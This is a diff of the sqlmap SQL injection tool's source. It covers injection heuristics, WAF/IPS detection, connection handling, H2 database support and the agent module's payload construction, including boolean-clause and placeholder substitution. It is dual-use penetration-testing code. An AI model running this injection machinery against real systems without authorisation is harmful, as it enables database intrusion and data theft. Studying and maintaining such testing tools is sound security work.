@@ -952,6 +965,7 @@ def checkSuhosinPatch(injection):

        kb.injection = popValue()

+@stackedmethod
 def checkFilteredChars(injection):
    debugMsg = "checking for filtered characters"
    logger.debug(debugMsg)
@@ -981,11 +995,6 @@ def checkFilteredChars(injection):
    kb.injection = popValue()

 def heuristicCheckSqlInjection(place, parameter):
-    if kb.nullConnection:
-        debugMsg = "heuristic check skipped because NULL connection used"
-        logger.debug(debugMsg)
-        return None
-
    if kb.heavilyDynamic:
        debugMsg = "heuristic check skipped because of heavy dynamicity"
        logger.debug(debugMsg)
@@ -1110,14 +1119,6 @@ def checkDynParam(place, parameter, value):
    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)
-
-        if not dynResult:
-            infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
-            logger.info(infoMsg)
-
-            randInt = randomInt()
-            payload = agent.payload(place, parameter, value, getUnicode(randInt))
-            dynResult = Request.queryPage(payload, place, raise404=False)
    except SqlmapConnectionException:
        pass

@@ -1221,7 +1222,7 @@ def checkStability():
            logger.error(errMsg)

    else:
-        warnMsg = "target URL content is not stable. sqlmap will base the page "
+        warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
        warnMsg += "comparison on a sequence matcher. If no dynamic nor "
        warnMsg += "injectable parameters are detected, or in case of "
        warnMsg += "junk results, refer to user's manual paragraph "
@@ -1306,14 +1307,14 @@ def checkRegexp():
    rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)

    if not re.search(conf.regexp, rawResponse, re.I | re.M):
-        warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
-        warnMsg += "match, but such a regular expression does not have any "
-        warnMsg += "match within the target URL raw response, sqlmap "
+        warnMsg = "you provided '%s' as the regular expression " % conf.regexp
+        warnMsg += "which does not have any match within the target URL raw response. sqlmap "
        warnMsg += "will carry on anyway"
        logger.warn(warnMsg)

    return True

+@stackedmethod
 def checkWaf():
    """
    Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1326,7 +1327,7 @@ def checkWaf():
    if _ is not None:
        if _:
            warnMsg = "previous heuristics detected that the target "
-            warnMsg += "is protected by some kind of WAF/IPS/IDS"
+            warnMsg += "is protected by some kind of WAF/IPS"
            logger.critical(warnMsg)
        return _

@@ -1334,7 +1335,7 @@ def checkWaf():
        return None

    infoMsg = "checking if the target is protected by "
-    infoMsg += "some kind of WAF/IPS/IDS"
+    infoMsg += "some kind of WAF/IPS"
    logger.info(infoMsg)

    retVal = False
@@ -1348,25 +1349,33 @@ def checkWaf():
        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))

+    pushValue(kb.redirectChoice)
+    pushValue(kb.resendPostOnRedirect)
    pushValue(conf.timeout)
+
+    kb.redirectChoice = REDIRECTION.YES
+    kb.resendPostOnRedirect = False
    conf.timeout = IDS_WAF_CHECK_TIMEOUT

    try:
-        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
+        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
    except SqlmapConnectionException:
        retVal = True
    finally:
        kb.matchRatio = None
+
        conf.timeout = popValue()
+        kb.resendPostOnRedirect = popValue()
+        kb.redirectChoice = popValue()

    if retVal:
        warnMsg = "heuristics detected that the target "
-        warnMsg += "is protected by some kind of WAF/IPS/IDS"
+        warnMsg += "is protected by some kind of WAF/IPS"
        logger.critical(warnMsg)

        if not conf.identifyWaf:
            message = "do you want sqlmap to try to detect backend "
-            message += "WAF/IPS/IDS? [y/N] "
+            message += "WAF/IPS? [y/N] "

            if readInput(message, default='N', boolean=True):
                conf.identifyWaf = True
@@ -1379,6 +1388,7 @@ def checkWaf():

    return retVal

+@stackedmethod
 def identifyWaf():
    if not conf.identifyWaf:
        return None
@@ -1389,7 +1399,7 @@ def identifyWaf():
    kb.testMode = True

    infoMsg = "using WAF scripts to detect "
-    infoMsg += "backend WAF/IPS/IDS protection"
+    infoMsg += "backend WAF/IPS protection"
    logger.info(infoMsg)

    @cachedmethod
@@ -1416,7 +1426,7 @@ def identifyWaf():
            continue

        try:
-            logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
+            logger.debug("checking for WAF/IPS product '%s'" % product)
            found = function(_)
        except Exception, ex:
            errMsg = "exception occurred while running "
@@ -1426,19 +1436,19 @@ def identifyWaf():
            found = False

        if found:
-            errMsg = "WAF/IPS/IDS identified as '%s'" % product
+            errMsg = "WAF/IPS identified as '%s'" % product
            logger.critical(errMsg)

            retVal.append(product)

    if retVal:
-        if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
+        if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
            os.close(handle)
            with openFile(filename, "w+b") as f:
                f.write(kb.wafSpecificResponse)

-            message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename
+            message = "WAF/IPS specific response can be found in '%s'. " % filename
            message += "If you know the details on used protection please "
            message += "report it along with specific response "
            message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1455,7 +1465,7 @@ def identifyWaf():
        if not choice:
            raise SqlmapUserQuitException
    else:
-        warnMsg = "WAF/IPS/IDS product hasn't been identified"
+        warnMsg = "WAF/IPS product hasn't been identified"
        logger.warn(warnMsg)

    kb.testType = None
@@ -1463,6 +1473,7 @@ def identifyWaf():

    return retVal

+@stackedmethod
 def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1511,18 +1522,23 @@ def checkNullConnection():
    return kb.nullConnection is not None

 def checkConnection(suppressOutput=False):
-    if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
-        try:
-            debugMsg = "resolving hostname '%s'" % conf.hostname
-            logger.debug(debugMsg)
-            socket.getaddrinfo(conf.hostname, None)
-        except socket.gaierror:
-            errMsg = "host '%s' does not exist" % conf.hostname
-            raise SqlmapConnectionException(errMsg)
-        except socket.error, ex:
-            errMsg = "problem occurred while "
-            errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
-            raise SqlmapConnectionException(errMsg)
+    if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
+        if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
+            try:
+                debugMsg = "resolving hostname '%s'" % conf.hostname
+                logger.debug(debugMsg)
+                socket.getaddrinfo(conf.hostname, None)
+            except socket.gaierror:
+                errMsg = "host '%s' does not exist" % conf.hostname
+                raise SqlmapConnectionException(errMsg)
+            except socket.error, ex:
+                errMsg = "problem occurred while "
+                errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapConnectionException(errMsg)
+            except UnicodeError, ex:
+                errMsg = "problem occurred while "
+                errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapDataException(errMsg)

    if not suppressOutput and not conf.dummy and not conf.offline:
        infoMsg = "testing connection to the target URL"
@@ -1535,6 +1551,10 @@ def checkConnection(suppressOutput=False):

        kb.errorIsNone = False

+        if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
+            singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
+            conf.disablePrecon = True
+
        if not kb.originalPage and wasLastResponseHTTPError():
            errMsg = "unable to retrieve page content"
            raise SqlmapConnectionException(errMsg)
@@ -1550,11 +1570,10 @@ def checkConnection(suppressOutput=False):
        else:
            kb.errorIsNone = True

-
        threadData = getCurrentThreadData()

        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
-            if conf.hostname in (threadData.lastRedirectURL[1] or "") and threadData.lastRedirectURL[1].startswith("https://"):
+            if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
                conf.url = re.sub(r"https?://", "https://", conf.url)
                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
                port = match.group(1) if match else 443
@@ -43,6 +43,7 @@ from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -55,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
+from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
+from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import IGNORE_PARAMETERS
@@ -242,17 +245,22 @@ def _saveToResultsFile():

        results[key].extend(injection.data.keys())

-    for key, value in results.items():
-        place, parameter, notes = key
-        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
-        conf.resultsFP.write(line)
+    try:
+        for key, value in results.items():
+            place, parameter, notes = key
+            line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
+            conf.resultsFP.write(line)

-    if not results:
-        line = "%s,,,,%s" % (conf.url, os.linesep)
-        conf.resultsFP.write(line)
+        if not results:
+            line = "%s,,,,%s" % (conf.url, os.linesep)
+            conf.resultsFP.write(line)

-    conf.resultsFP.flush()
+        conf.resultsFP.flush()
+    except IOError, ex:
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        raise SqlmapSystemException(errMsg)

+@stackedmethod
 def start():
    """
    This function calls a function that performs checks on both URL
@@ -305,6 +313,7 @@ def start():
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])
+            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]

            initTargetEnv()
            parseTargetUrl()
@@ -503,7 +512,7 @@ def start():
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
-                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -522,7 +531,7 @@ def start():

                                    testSqlInj = False
                            else:
-                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
+                                infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)
@@ -10,6 +10,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
+from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy

@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.informix.connector import Connector as InformixConn

@@ -67,6 +71,7 @@ def setHandler():
        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
    ]

@@ -90,29 +95,41 @@ def setHandler():
        conf.dbmsConnector = Connector()

        if conf.direct:
+            exception = None
            dialect = DBMS_DICT[dbms][3]

            if dialect:
-                sqlalchemy = SQLAlchemy(dialect=dialect)
-                sqlalchemy.connect()
+                try:
+                    sqlalchemy = SQLAlchemy(dialect=dialect)
+                    sqlalchemy.connect()

-                if sqlalchemy.connector:
-                    conf.dbmsConnector = sqlalchemy
-                else:
-                    try:
-                        conf.dbmsConnector.connect()
-                    except NameError:
-                        pass
-            else:
-                conf.dbmsConnector.connect()
+                    if sqlalchemy.connector:
+                        conf.dbmsConnector = sqlalchemy
+                except Exception, ex:
+                    exception = ex
+
+            if not dialect or exception:
+                try:
+                    conf.dbmsConnector.connect()
+                except Exception, ex:
+                    if exception:
+                        raise exception
+                    else:
+                        if not isinstance(ex, NameError):
+                            raise
+                        else:
+                            msg = "support for direct connection to '%s' is not available. " % dbms
+                            msg += "Please rerun with '--dependencies'"
+                            raise SqlmapConnectionException(msg)

        if conf.forceDbms == dbms or handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+                conf.dbmsHandler._dbms = kb.resolutionDbms
            else:
                conf.dbmsHandler = handler
+                conf.dbmsHandler._dbms = dbms

-            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper

@@ -142,7 +143,7 @@ class Agent(object):
                    match = re.search(r"\A[^ ]+", newValue)
                    newValue = newValue[len(match.group() if match else ""):]
                    _ = randomInt(2)
-                    value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
+                    value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
@@ -198,7 +199,7 @@ class Agent(object):
                regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
                retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
            else:
-                retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
+                retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
@@ -246,6 +247,9 @@ class Agent(object):
        else:
            query = kb.injection.prefix or prefix or ""

+            if "SELECT '[RANDSTR]'" in query:  # escaping of pre-WHERE prefixes
+                query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
+
            if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
                query += " "

@@ -311,9 +315,12 @@ class Agent(object):
        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
            payload = payload.replace(_, randomStr())

-        if origValue is not None and "[ORIGVALUE]" in payload:
+        if origValue is not None:
            origValue = getUnicode(origValue)
-            payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGVALUE]" in payload:
+                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGINAL]" in payload:
+                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)

        if INFERENCE_MARKER in payload:
            if Backend.getIdentifiedDbms() is not None:
@@ -342,6 +349,7 @@ class Agent(object):

        if payload:
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
+            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")

            for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, str(randomInt()))
@@ -535,7 +543,7 @@ class Agent(object):
        fieldsToCastStr = fieldsToCastStr or ""

        # Function
-        if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
+        if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = splitFields(fieldsToCastStr)
@@ -616,7 +624,7 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -627,7 +635,7 @@ class Agent(object):
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
-                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
+                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
            elif fieldsSelect:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -639,7 +647,7 @@ class Agent(object):
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                concatenatedQuery += "+'%s'" % kb.chars.stop
            elif fieldsSelectTop:
-                topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
+                topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
                concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
                concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
            elif fieldsSelectCase:
@@ -815,7 +823,7 @@ class Agent(object):
            limitRegExp2 = None

        if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

@@ -905,14 +913,14 @@ class Agent(object):
        fromFrom = limitedQuery[fromIndex + 1:]
        orderBy = None

-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            limitedQuery += " %s" % limitStr

        elif Backend.isDbms(DBMS.HSQLDB):
            match = re.search(r"ORDER BY [^ ]+", limitedQuery)
            if match:
-                limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
+                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
                limitedQuery += " %s" % match.group(0)

            if query.startswith("SELECT "):
@@ -1086,7 +1094,7 @@ class Agent(object):
        if conf.dumpWhere and query:
            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")

-            if "%s)" % conf.tbl.upper() in prefix.upper():
+            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
            elif re.search(r"(?i)\bWHERE\b", prefix):
                prefix += " AND %s" % conf.dumpWhere
@@ -126,7 +126,7 @@ class BigArray(list):
            try:
                with open(self.chunks[index], "rb") as f:
                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
-            except IOError, ex:
+            except Exception, ex:
                errMsg = "exception occurred while retrieving data "
                errMsg += "from a temporary file ('%s')" % ex.message
                raise SqlmapSystemException(errMsg)
@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+import binascii
 import codecs
 import contextlib
 import cookielib
@@ -101,7 +102,10 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
+from lib.core.settings import BURP_REQUEST_REGEX
+from lib.core.settings import BURP_XML_HISTORY_REGEX
 from lib.core.settings import DBMS_DIRECTORY_DICT
+from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
@@ -139,6 +143,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import PLATFORM
 from lib.core.settings import PRINTABLE_CHAR_REGEX
+from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
 from lib.core.settings import PYVERSION
 from lib.core.settings import REFERER_ALIASES
@@ -161,6 +166,7 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT
 from lib.core.settings import URLENCODE_FAILSAFE_CHARS
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.settings import VERSION_STRING
+from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty.clientform.clientform import ParseResponse
@@ -639,7 +645,7 @@ def paramToDict(place, parameters=None):
                                                    current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                else:
                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
-                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
+                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
                                                current[key] = original

                                deserialized = json.loads(testableParameters[parameter])
@@ -862,11 +868,11 @@ def boldifyMessage(message):
    retVal = message

    if any(_ in message for _ in BOLD_PATTERNS):
-        retVal = setColor(message, True)
+        retVal = setColor(message, bold=True)

    return retVal

-def setColor(message, bold=False):
+def setColor(message, color=None, bold=False):
    retVal = message
    level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")

@@ -874,15 +880,11 @@ def setColor(message, bold=False):
        level = unicodeencode(level)

    if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
-        if bold:
-            retVal = colored(message, color=None, on_color=None, attrs=("bold",))
+        if bold or color:
+            retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
        elif level:
            level = getattr(logging, level, None) if isinstance(level, basestring) else level
-            _ = LOGGER_HANDLER.level_map.get(level)
-            if _:
-                background, foreground, bold = _
-                retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
-
+            retVal = LOGGER_HANDLER.colorize(message, level)
            kb.stickyLevel = level if message and message[-1] != "\n" else None

    return retVal
@@ -897,7 +899,7 @@ def clearColors(message):

    retVal = message

-    if message:
+    if isinstance(message, str):
        retVal = re.sub(r"\x1b\[[\d;]+m", "", message)

    return retVal
@@ -921,9 +923,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=

            try:
                if conf.get("api"):
-                    sys.stdout.write(message, status, content_type)
+                    sys.stdout.write(clearColors(message), status, content_type)
                else:
-                    sys.stdout.write(setColor(message, bold))
+                    sys.stdout.write(setColor(message, bold=bold))

                sys.stdout.flush()
            except IOError:
@@ -995,6 +997,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
    retVal = None
    kb.stickyLevel = None

+    if kb.lastInputMessage == message:
+        checkBatch = False
+    else:
+        kb.lastInputMessage = message
+
    message = getUnicode(message)

    if "\n" in message:
@@ -1007,6 +1014,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
        kb.prependFlag = False

    if conf.get("answers"):
+        if not any(_ in conf.answers for _ in ",="):
+            return conf.answers
+
        for item in conf.answers.split(','):
            question = item.split('=')[0].strip()
            answer = item.split('=')[1] if len(item.split('=')) > 1 else None
@@ -1015,14 +1025,17 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
            elif answer is None and retVal:
                retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))

+    if message and getattr(LOGGER_HANDLER, "is_tty", False):
+        message = "\r%s" % message
+
    if retVal:
-        dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
+        dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)

        debugMsg = "used the given answer"
        logger.debug(debugMsg)

    if retVal is None:
-        if checkBatch and conf.get("batch"):
+        if checkBatch and conf.get("batch") or conf.get("api"):
            if isListLike(default):
                options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
            elif default:
@@ -1030,7 +1043,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
            else:
                options = unicode()

-            dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
+            dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)

            debugMsg = "used the default behavior, running in batch mode"
            logger.debug(debugMsg)
@@ -1043,7 +1056,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                if conf.get("beep"):
                    beep()

-                dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True)
+                dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                kb.prependFlag = False

                retVal = raw_input().strip() or default
@@ -1157,6 +1170,9 @@ def getHeader(headers, key):
 def checkFile(filename, raiseOnError=True):
    """
    Checks for file existence and readability
+
+    >>> checkFile(__file__)
+    True
    """

    valid = True
@@ -1167,7 +1183,7 @@ def checkFile(filename, raiseOnError=True):
    try:
        if filename is None or not os.path.isfile(filename):
            valid = False
-    except UnicodeError:
+    except:
        valid = False

    if valid:
@@ -1187,7 +1203,7 @@ def banner():
    This function prints sqlmap banner with its version
    """

